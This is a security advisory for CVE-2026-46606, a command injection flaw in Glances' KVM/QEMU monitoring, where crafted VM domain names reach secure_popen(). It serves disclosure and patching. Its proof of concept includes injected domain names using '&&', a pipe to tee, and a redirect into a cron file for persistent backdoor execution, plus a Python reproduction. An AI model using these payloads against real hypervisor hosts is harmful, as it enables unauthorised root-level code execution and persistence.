glances
Affected
- introduced
0, fixed4.5.5(ecosystem)
Fixed versions
4.5.5
Fix
- Fixed version
4.5.5pip install --upgrade glances==4.5.5
Advisory
Also known as: CVE-2026-46606, GHSA-v5r2-qh84-fjx5
Glances is Vulnerable to Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py
Summary
The Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). secure_popen() is explicitly designed to interpret &&, |, and > as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts.
---
Details
Affected file: glances/plugins/vms/engines/virsh.py
Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):
The vulnerable calls are on lines 185 and 204:
# line 185 (update_stats)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}')
# line 204 (update_title)
ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}')
domain is the name string parsed from the output of virsh list --all (line 59–78 in the same file); no sanitisation is applied to it at any point before it reaches secure_popen().
secure_popen() is defined in glances/secure.py. It explicitly splits the command string on &&, |, and > before invoking subprocess.Popen with shell=False on each part, meaning all three operators are treated as real pipeline/redirection control characters:
# glances/secure.py
def secure_popen(cmd):
ret = ''
for c in cmd.split('&&'): # '&&' → two separate processes
ret += __secure_popen(c)
return ret
def __secure_popen(cmd):
for sub_cmd in cmd.split('|'): # '|' → stdin/stdout piped
p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)
# '>' is split separately for file redirection
By contrast, actions.py sanitises process names through _sanitize_mustache_dict() before they reach secure_popen(). The vms plugin applies no such protection.
Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).
All three injection operators were verified:
| Operator | Effect | Confirmed |
|----------|--------|-----------|
| && | Second command executes after the virsh call | Yes |
| \| | Output of virsh piped to injected command | Yes |
| > | virsh output redirected to arbitrary file | Yes |
---
PoC
Special configuration required
vms plugin must be enabled and /usr/bin/virsh must be installed and executable.libvirt group, a typical default on Ubuntu/Debian/Fedora, or a cloud-platform tenant account).glances.conf settings are needed beyond a working virsh setup.Step 1 — Create a VM with a crafted domain name
Using the && operator to chain a second command:
<domain type="kvm">
<name>productionDB && touch /tmp/glances_pwned</name>
<memory>131072</memory>
<vcpu>1</vcpu>
<os><type arch="x86_64">hvm</type></os>
</domain>
virsh define evil-domain.xml
Step 2 — Start Glances with KVM monitoring enabled
glances # or: glances -s / glances -w
On the next monitoring cycle Glances calls:
virsh domstats --nowait "productionDB && touch /tmp/glances_pwned"
which secure_popen() splits into two processes:
virsh domstats --nowait productionDBtouch /tmp/glances_pwnedStep 3 — Verify execution
ls -la /tmp/glances_pwned # file will exist, owned by the Glances user
Pipe injection (`|`) example
Domain name: "productionDB | tee /tmp/virsh_output_stolen.txt"
The output of the virsh call is piped to tee, writing the data to an attacker-controlled path.
File-write injection (`>`) example
Domain name: "productionDB > /etc/cron.d/glances_backdoor"
The virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.
Minimal Python reproduction (no VM required)
import sys
sys.path.insert(0, '/path/to/glances') # adjust to local clone
from glances.secure import secure_popen
# Simulates the exact call in virsh.py line 185
domain = 'productionDB && id'
result = secure_popen(f'/bin/echo domstats --nowait {domain}')
print(result)
# Output will include two lines: the echo output AND the output of `id`
---
Impact
Vulnerability type: Command Injection (CWE-78)
Who is impacted: Any deployment of Glances on a KVM/QEMU hypervisor host where the vms plugin is active. Exploitation requires the attacker to have libvirt domain-creation or domain-rename rights — a privilege granted by default to members of the libvirt group and to cloud-platform tenant APIs.
Impact:
>) allows placing content in any file writable by the Glances process (cron, authorised_keys, etc.).In cloud and multi-tenant virtualisation environments, Glances commonly runs as root on the hypervisor to access performance counters, so successful exploitation typically yields root-level code execution.
---
Suggested Fix
Replace the f-string interpolation with list-based argument passing to avoid any interaction with secure_popen()'s operator splitting logic:
# virsh.py — replace lines 185 and 204 with subprocess.run and explicit arg list from subprocess import run, PIPE
result = run(
[VIRSH_PATH, 'domstats', '--nowait', domain],
stdout=PIPE, stderr=PIPE, timeout=5
)
Alternatively, sanitise domain using the same _sanitize_mustache_dict helper already used in actions.py, which strips &&, |, >, ;, and backtick characters from string values.
As a defence-in-depth measure, consider running Glances under a dedicated low-privilege service account with CAP_SYS_PTRACE rather than as root.
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Responsible Disclosure
The AFINE Team is committed to responsible / coordinated disclosure. The AFINE Team will not publish details of this vulnerability or release exploit code publicly until a fix has been released, or 90 days have elapsed from the date of this report, whichever comes first.
---
Credits
This issue was identified by Michał Majchrowicz and Marcin Wyczechowski, members
of the AFINE Team.
---
High Basis: CVSS v3 score 7.8, vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
0, fixed 4.5.5 (ecosystem)4.5.5
4.5.5pip install --upgrade glances==4.5.5Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: PyPA Advisory Database · CC BY 4.0